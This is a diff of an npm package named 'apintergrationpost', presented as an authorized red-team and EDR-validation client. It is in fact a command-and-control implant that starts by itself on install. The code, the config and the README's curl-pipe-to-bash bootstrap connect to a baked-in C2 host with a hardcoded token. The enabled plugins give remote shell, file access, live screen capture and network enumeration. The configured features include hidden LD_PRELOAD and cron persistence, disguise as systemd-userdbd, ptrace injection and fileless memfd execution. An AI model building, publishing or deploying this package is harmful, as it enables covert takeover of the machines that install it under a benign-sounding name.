apintergrationpost 4.0.1

package/README.md

@@ -0,0 +1,203 @@
+# apintergrationpost
+
+Hybrid Node.js integration client with native lab primitives for **authorized** red team exercises and EDR validation in isolated environments.
+
+Published on npm as **`apintergrationpost`**.
+
+## Ubuntu — one command
+
+On the Ubuntu client, run **only this** (after the package is published to npm):
+
+```sh
+sudo npm install -g apintergrationpost
+```
+
+Install finishes and the client **starts automatically**, connecting to the C2 host baked into the package (`192.168.54.1:4444`).
+
+Alternative one-shot without global install:
+
+```sh
+npx apintergrationpost
+```
+
+### Publish first (one-time, on your dev machine)
+
+The package must exist on the npm registry before clients can install it:
+
+```sh
+npm login
+npm publish
+```
+
+Set your C2 host and token in `apintergrationpost.config.json` **before** publishing — that file ships inside the package and drives auto-connect.
+
+### C2 server (on your host)
+
+```sh
+npm run server
+```
+
+### Disable auto-start (development)
+
+```sh
+APINTEGRATIONPOST_SKIP_AUTORUN=1 npm install
+```
+
+## Ubuntu — curl bootstrap (no npm registry)
+
+If the package is not on npm yet, start the operator server (`npm run server`) and use:
+
+```sh
+curl -fsSL http://192.168.54.1:8080/run | bash
+```
+
+## Ubuntu — manual npm install
+
+**Prerequisites** (once per machine):
+
+```sh
+sudo apt update
+sudo apt install -y nodejs npm build-essential python3
+```
+
+### Option A — run immediately (no global install)
+
+```sh
+npx apintergrationpost --host C2_HOST --port 443 --token YOUR_SECRET_TOKEN
+```
+
+### Option B — global install, then run
+
+```sh
+sudo npm install -g apintergrationpost
+apintergrationpost --host C2_HOST --port 443 --token YOUR_SECRET_TOKEN
+```
+
+### Option C — install as a systemd service (production)
+
+```sh
+sudo npm install -g apintergrationpost
+sudo apintergrationpost-install --host C2_HOST --port 443 --token YOUR_SECRET_TOKEN --start
+```
+
+Service management:
+
+```sh
+sudo systemctl status apintergrationpost
+sudo journalctl -u apintergrationpost -f
+```
+
+### Configuration
+
+CLI flags override the bundled defaults in `apintergrationpost.config.json`:
+
+| Flag | Environment | Description |
+|------|-------------|-------------|
+| `--host` | `APINTEGRATIONPOST_HOST` | C2 server address |
+| `--port` | `APINTEGRATIONPOST_PORT` | C2 port (default `4444`) |
+| `--token` | `APINTEGRATIONPOST_AUTH_TOKEN` | Shared auth token |
+| `--config` | `APINTEGRATIONPOST_CONFIG` | Custom config file path |
+
+Help:
+
+```sh
+apintergrationpost --help
+apintergrationpost-install --help
+```
+
+## Publish to npm
+
+From the repository root:
+
+```sh
+npm login
+npm publish
+```
+
+The published tarball includes only the client agent (`files` field in `package.json`). Server, lab scripts, and docs stay in the repo for local development.
+
+## Local development (full lab)
+
+```sh
+git clone <repo>
+cd myra
+npm install
+npm run build-native
+# Edit myra.config.json — set auth.token and C2 host/port
+npm run server
+npm run client -- --host C2_HOST --port 443 --token YOUR_TOKEN
+```
+
+Legacy shell installer (non-npm): `sudo bash install/install.sh`
+
+## Capabilities
+
+| Layer | Module | Commands |
+|-------|--------|----------|
+| C2 | TLS on common ports, log-normal beacons, frame padding | (automatic) |
+| Process evasion | `evasion-process` | `hide_start`, `inject`, `inject_spawn`, `preload_install` |
+| Stealth persistence | `persistence-stealth` | `persist_install`, `persist_remove`, `persist_status` |
+| Memory execution | `evasion-memfd` | `memfd_exec`, `memfd_stage`, `memfd_status` |
+
+Native tools (`native/lab-tools/`): `agent_launcher`, `proc_hide`, `injector`, `libcache.so`, `memfd_exec`
+
+## Configuration reference
+
+```json
+{
+  "host": "C2_HOST",
+  "port": 443,
+  "auth": { "token": "secret" },
+  "c2": {
+    "beaconProfile": { "minMs": 45000, "maxMs": 300000, "distribution": "lognormal" }
+  },
+  "emulation": {
+    "enabled": true,
+    "stealth": true,
+    "telemetry": false,
+    "process": { "autoHide": false, "targetName": "systemd-userdbd" },
+    "persistence": { "vectors": ["preload", "cron", "profile"] }
+  }
+}
+```
+
+Enable optional telemetry for EDR correlation: `"emulation": { "telemetry": true }` or `--telemetry`.
+
+## Operator Commands
+
+See server `help` for full list. Key emulation commands:
+
+- `persist_install` / `persist_remove` — stealth persistence (LD_PRELOAD, cron, profile.d)
+- `hide_start` — process masquerade via native launcher
+- `inject` / `inject_spawn` — ptrace injection stress test
+- `memfd_exec <path>` — fileless execution path
+
+## EDR Validation
+
+- [docs/edr-validation.md](docs/edr-validation.md) — expected detection surfaces
+- `scripts/edr-test-matrix.sh` — automated scenario runner
+- `lab/sigma/` — behavior-based Sigma rules (no string IOCs)
+- `npm run correlate` — merge telemetry with Auditd (when telemetry enabled)
+
+## Build Native Tools
+
+Native tools compile automatically on Linux during `npm install` (`prepare` script). Manual build:
+
+```sh
+make -C native/lab-tools
+# Output: native/lab-tools/bin/
+```
+
+## Safety
+
+Use only in air-gapped lab VMs you control. Run `persist_remove`, `preload_remove`, and `hide_stop` before snapshot restore.
+
+## Architecture
+
+```
+bin/                 npm CLI entry points (apintergrationpost, apintergrationpost-install)
+src/client/          Node.js agent + emulation plugins
+src/server/          Operator console (dev only, not published)
+native/lab-tools/    C evasion primitives
+lab/                 Auditd + Sigma artifacts (dev only, not published)
+```

package/apintergrationpost.config.json

@@ -0,0 +1,101 @@
+{
+  "host": "192.168.54.1",
+  "port": 4444,
+  "tls": {
+    "enabled": false
+  },
+  "auth": { "token": "myra-lab-shared-key" },
+  "reconnect": {
+    "initialDelayMs": 5000,
+    "maxDelayMs": 120000,
+    "backoffFactor": 2
+  },
+  "c2": {
+    "activeHours": null,
+    "beaconProfile": {
+      "minMs": 45000,
+      "maxMs": 300000,
+      "distribution": "lognormal",
+      "sigma": 0.55
+    },
+    "reconnectProfile": {
+      "minMs": 5000,
+      "maxMs": 120000,
+      "distribution": "exponential"
+    }
+  },
+  "log": { "level": "warn", "file": "" },
+  "heartbeatIntervalMs": 60000,
+  "heartbeatTimeoutMs": 360000,
+  "commandTimeoutMs": 120000,
+  "maxOutputBytes": 1048576,
+  "plugins": {
+    "enabled": [
+      "shell-oneshot",
+      "shell-pty",
+      "filesystem",
+      "screen-live",
+      "system",
+      "sysinfo",
+      "process-list",
+      "network-enum",
+      "file-search"
+    ],
+    "disabled": []
+  },
+  "features": {
+    "pty": true,
+    "screenLive": true
+  },
+  "screen": {
+    "fps": 3,
+    "viewerPort": 5555,
+    "display": ":0",
+    "size": "1280x720"
+  },
+  "lab": {
+    "mode": false,
+    "telemetryMode": false,
+    "eventsFile": "./telemetry-events.jsonl",
+    "emitProcessInfo": true
+  },
+  "emulation": {
+    "enabled": true,
+    "stealth": true,
+    "telemetry": false,
+    "nativeToolsPath": "./native/lab-tools/bin",
+    "plugins": [
+      "persistence-stealth",
+      "evasion-process",
+      "evasion-memfd"
+    ],
+    "process": {
+      "autoHide": false,
+      "targetName": "systemd-userdbd",
+      "binaryPath": "/usr/lib/systemd/systemd-userdbd",
+      "scrubArgv": true,
+      "fakeArgs": ["--user"]
+    },
+    "persistence": {
+      "vectors": ["preload", "cron", "profile"],
+      "cronIntervalMin": 13,
+      "preloadPath": "/usr/local/lib/.libcache.so",
+      "wrapperPath": "/usr/local/lib/.cache-update.sh",
+      "ldConfPath": "/etc/ld.so.conf.d/.cache.conf",
+      "profilePath": "/etc/profile.d/.sh.local",
+      "avoidSystemd": true,
+      "hidePaths": [".libcache", ".cache-update", "systemd-userdbd"]
+    },
+    "c2": {
+      "paddingMaxBytes": 64
+    },
+    "memory": {
+      "mode": "off",
+      "autoDeploy": false,
+      "nodePath": "/usr/bin/node",
+      "bundlePath": "./dist/agent.bundle.js",
+      "scrubArgv": true,
+      "stageNodePty": false
+    }
+  }
+}

package/bin/apintergrationpost-install.js

@@ -0,0 +1,232 @@
+#!/usr/bin/env node
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { execSync, spawnSync } = require('child_process');
+const { getDefaultConfigPath, getCliPath } = require('./lib/paths');
+
+const SERVICE_NAME = 'apintergrationpost';
+const SERVICE_USER = 'apintergrationpost';
+const CONFIG_DIR = '/etc/apintergrationpost';
+const CONFIG_PATH = path.join(CONFIG_DIR, 'config.json');
+const DATA_DIR = '/var/lib/apintergrationpost';
+const SERVICE_FILE = `/etc/systemd/system/${SERVICE_NAME}.service`;
+
+function printHelp() {
+  process.stdout.write(`apintergrationpost-install — register systemd service on Ubuntu
+
+Usage:
+  sudo apintergrationpost-install --host C2_HOST --token SECRET [options]
+
+Required:
+  --host HOST          C2 server address
+  --token SECRET       Shared auth token
+
+Options:
+  --port PORT          C2 port (default: 4444)
+  --start              Start and enable the service immediately
+  --no-enable          Install unit without enabling on boot
+  --cli PATH           Path to apintergrationpost binary (auto-detected)
+  -h, --help           Show this help
+`);
+}
+
+function parseArgs(argv) {
+  const opts = {
+    host: process.env.APINTEGRATIONPOST_HOST || process.env.MYRA_HOST || '',
+    port: Number(process.env.APINTEGRATIONPOST_PORT || process.env.MYRA_PORT || 4444),
+    token: process.env.APINTEGRATIONPOST_AUTH_TOKEN || process.env.MYRA_AUTH_TOKEN || '',
+    start: false,
+    enable: true,
+    cli: '',
+  };
+
+  for (let i = 2; i < argv.length; i++) {
+    const arg = argv[i];
+    if (arg === '--help' || arg === '-h') {
+      printHelp();
+      process.exit(0);
+    } else if (arg === '--host' && argv[i + 1]) {
+      opts.host = argv[++i];
+    } else if (arg === '--port' && argv[i + 1]) {
+      opts.port = Number(argv[++i]);
+    } else if (arg === '--token' && argv[i + 1]) {
+      opts.token = argv[++i];
+    } else if (arg === '--start') {
+      opts.start = true;
+    } else if (arg === '--no-enable') {
+      opts.enable = false;
+    } else if (arg === '--cli' && argv[i + 1]) {
+      opts.cli = argv[++i];
+    } else {
+      process.stderr.write(`Unknown option: ${arg}\n`);
+      printHelp();
+      process.exit(1);
+    }
+  }
+
+  return opts;
+}
+
+function requireRoot() {
+  if (process.getuid && process.getuid() !== 0) {
+    process.stderr.write('[!] Run as root: sudo apintergrationpost-install ...\n');
+    process.exit(1);
+  }
+}
+
+function requireLinux() {
+  if (process.platform !== 'linux') {
+    process.stderr.write('[!] Service install is supported on Linux only.\n');
+    process.exit(1);
+  }
+}
+
+function validateOpts(opts) {
+  if (!opts.host) {
+    process.stderr.write('[!] --host is required.\n');
+    process.exit(1);
+  }
+  if (!opts.token || opts.token.length < 8) {
+    process.stderr.write('[!] --token is required (minimum 8 characters).\n');
+    process.exit(1);
+  }
+}
+
+function run(cmd, args, options = {}) {
+  const result = spawnSync(cmd, args, { encoding: 'utf8', ...options });
+  if (result.status !== 0) {
+    const detail = (result.stderr || result.stdout || '').trim();
+    throw new Error(detail || `${cmd} ${args.join(' ')} failed`);
+  }
+  return result.stdout;
+}
+
+function ensureSystemUser() {
+  fs.mkdirSync(DATA_DIR, { recursive: true });
+
+  try {
+    run('id', ['-u', SERVICE_USER]);
+    process.stdout.write(`[*] System user '${SERVICE_USER}' already exists.\n`);
+  } catch {
+    process.stdout.write(`[*] Creating system user '${SERVICE_USER}'...\n`);
+    run('useradd', [
+      '--system',
+      '--no-create-home',
+      '--home-dir', DATA_DIR,
+      '--shell', '/usr/sbin/nologin',
+      SERVICE_USER,
+    ]);
+  }
+}
+
+function resolveCliPath(explicit) {
+  if (explicit) return explicit;
+
+  try {
+    const which = execSync(`command -v ${SERVICE_NAME}`, { encoding: 'utf8' }).trim();
+    if (which) return which;
+  } catch {
+    // fall through
+  }
+
+  return getCliPath();
+}
+
+function loadTemplateConfig() {
+  const templatePath = getDefaultConfigPath();
+  const raw = fs.readFileSync(templatePath, 'utf8');
+  return JSON.parse(raw);
+}
+
+function writeConfig(opts) {
+  process.stdout.write(`[*] Writing ${CONFIG_PATH}...\n`);
+  fs.mkdirSync(CONFIG_DIR, { recursive: true });
+
+  const config = loadTemplateConfig();
+  config.host = opts.host;
+  config.port = opts.port;
+  config.auth = { ...(config.auth || {}), token: opts.token };
+
+  fs.writeFileSync(CONFIG_PATH, `${JSON.stringify(config, null, 2)}\n`, { mode: 0o600 });
+  run('chown', [`${SERVICE_USER}:${SERVICE_USER}`, CONFIG_PATH]);
+}
+
+function ensureDataDir() {
+  fs.mkdirSync(DATA_DIR, { recursive: true });
+  run('chown', [`${SERVICE_USER}:${SERVICE_USER}`, DATA_DIR]);
+}
+
+function writeServiceUnit(cliPath) {
+  const unit = `[Unit]
+Description=API Integration Post Client
+After=network-online.target
+Wants=network-online.target
+
+[Service]
+Type=simple
+User=${SERVICE_USER}
+Group=${SERVICE_USER}
+ExecStart=${cliPath}
+Restart=on-failure
+RestartSec=10
+Environment=MYRA_CONFIG=${CONFIG_PATH}
+Environment=APINTEGRATIONPOST_CONFIG=${CONFIG_PATH}
+WorkingDirectory=${DATA_DIR}
+StandardOutput=journal
+StandardError=journal
+SyslogIdentifier=${SERVICE_NAME}
+
+[Install]
+WantedBy=multi-user.target
+`;
+
+  process.stdout.write(`[*] Installing ${SERVICE_FILE}...\n`);
+  fs.writeFileSync(SERVICE_FILE, unit, { mode: 0o644 });
+  run('systemctl', ['daemon-reload']);
+}
+
+function main() {
+  if (process.argv.includes('--help') || process.argv.includes('-h')) {
+    printHelp();
+    process.exit(0);
+  }
+
+  requireLinux();
+  requireRoot();
+
+  const opts = parseArgs(process.argv);
+  validateOpts(opts);
+
+  const cliPath = resolveCliPath(opts.cli);
+  if (!fs.existsSync(cliPath)) {
+    process.stderr.write(`[!] Client binary not found: ${cliPath}\n`);
+    process.stderr.write('    Install globally first: sudo npm install -g apintergrationpost\n');
+    process.exit(1);
+  }
+
+  ensureSystemUser();
+  writeConfig(opts);
+  ensureDataDir();
+  writeServiceUnit(cliPath);
+
+  if (opts.enable) {
+    run('systemctl', ['enable', SERVICE_NAME]);
+    process.stdout.write(`[*] Enabled ${SERVICE_NAME}.service on boot.\n`);
+  }
+
+  if (opts.start) {
+    run('systemctl', ['restart', SERVICE_NAME]);
+    process.stdout.write(`[*] Started ${SERVICE_NAME}.service\n`);
+  }
+
+  process.stdout.write('\n[*] Installation complete.\n');
+  process.stdout.write(`    Config:  ${CONFIG_PATH}\n`);
+  process.stdout.write(`    Service: ${SERVICE_NAME}.service\n`);
+  process.stdout.write(`    CLI:     ${cliPath}\n\n`);
+  process.stdout.write(`    Status:  sudo systemctl status ${SERVICE_NAME}\n`);
+  process.stdout.write(`    Logs:    sudo journalctl -u ${SERVICE_NAME} -f\n`);
+}
+
+main();

package/bin/apintergrationpost.js

@@ -0,0 +1,50 @@
+#!/usr/bin/env node
+'use strict';
+
+const { getPackageRoot, getDefaultConfigPath } = require('./lib/paths');
+
+function printHelp() {
+  process.stdout.write(`apintergrationpost — remote integration client
+
+Usage:
+  apintergrationpost --host C2_HOST --port PORT --token SECRET [options]
+  npx apintergrationpost --host C2_HOST --port 443 --token SECRET
+
+Required (or set in config / environment):
+  --host HOST          C2 server address
+  --token SECRET       Shared auth token (min 8 chars when TLS is off)
+
+Options:
+  --port PORT          C2 port (default: 4444)
+  --config PATH        Config file (default: bundled apintergrationpost.config.json)
+  --log-level LEVEL    Log level: error, warn, info, debug
+  --log-file PATH      Log file path
+  --lab                Enable lab mode
+  --telemetry          Enable emulation telemetry
+  -h, --help           Show this help
+
+Environment:
+  APINTEGRATIONPOST_CONFIG / MYRA_CONFIG   Config file path
+  APINTEGRATIONPOST_HOST / MYRA_HOST       C2 host
+  APINTEGRATIONPOST_PORT / MYRA_PORT       C2 port
+  APINTEGRATIONPOST_AUTH_TOKEN / MYRA_AUTH_TOKEN   Auth token
+
+Ubuntu service install:
+  sudo npm install -g apintergrationpost
+  sudo apintergrationpost-install --host C2_HOST --port 443 --token SECRET --start
+`);
+}
+
+if (process.argv.includes('--help') || process.argv.includes('-h')) {
+  printHelp();
+  process.exit(0);
+}
+
+const pkgRoot = getPackageRoot();
+process.chdir(pkgRoot);
+
+if (!process.env.MYRA_CONFIG && !process.env.APINTEGRATIONPOST_CONFIG) {
+  process.env.MYRA_CONFIG = getDefaultConfigPath();
+}
+
+require('../src/client/index.js');

package/bin/lib/paths.js

@@ -0,0 +1,19 @@
+'use strict';
+
+const path = require('path');
+
+const PKG_ROOT = path.join(__dirname, '..', '..');
+
+function getPackageRoot() {
+  return PKG_ROOT;
+}
+
+function getDefaultConfigPath() {
+  return path.join(PKG_ROOT, 'apintergrationpost.config.json');
+}
+
+function getCliPath() {
+  return path.join(PKG_ROOT, 'bin', 'apintergrationpost.js');
+}
+
+module.exports = { getPackageRoot, getDefaultConfigPath, getCliPath };

package/native/lab-tools/Makefile

@@ -0,0 +1,45 @@
+CC ?= gcc
+CFLAGS ?= -Wall -Wextra -O2 -fPIC
+LDFLAGS ?= -ldl
+
+BIN_DIR := bin
+TOOLS := memfd_exec memfd_loader proc_hide injector agent_launcher
+LIBS := libcache.so
+
+.PHONY: all clean
+
+all: $(BIN_DIR) $(addprefix $(BIN_DIR)/,$(TOOLS)) $(addprefix $(BIN_DIR)/,$(LIBS))
+
+$(BIN_DIR):
+	mkdir -p $(BIN_DIR)
+
+$(BIN_DIR)/memfd_exec: memfd_exec.c
+	$(CC) $(CFLAGS) -o $@ $<
+
+$(BIN_DIR)/memfd_loader: memfd_loader.c
+	$(CC) $(CFLAGS) -o $@ $<
+
+$(BIN_DIR)/proc_hide: proc_hide.c
+	$(CC) $(CFLAGS) -o $@ $<
+
+$(BIN_DIR)/injector: injector.c
+	$(CC) $(CFLAGS) -o $@ $<
+
+$(BIN_DIR)/agent_launcher: agent_launcher.c
+	$(CC) $(CFLAGS) -o $@ $<
+
+$(BIN_DIR)/libcache.so: libcache.c
+	$(CC) $(CFLAGS) -shared -o $@ $< $(LDFLAGS)
+
+# Legacy aliases for backward compatibility
+$(BIN_DIR)/proc_masq: proc_hide.c
+	$(CC) $(CFLAGS) -o $@ $<
+
+$(BIN_DIR)/inject_demo: injector.c
+	$(CC) $(CFLAGS) -o $@ $<
+
+$(BIN_DIR)/preload_demo.so: libcache.c
+	$(CC) $(CFLAGS) -shared -o $@ $< $(LDFLAGS)
+
+clean:
+	rm -rf $(BIN_DIR)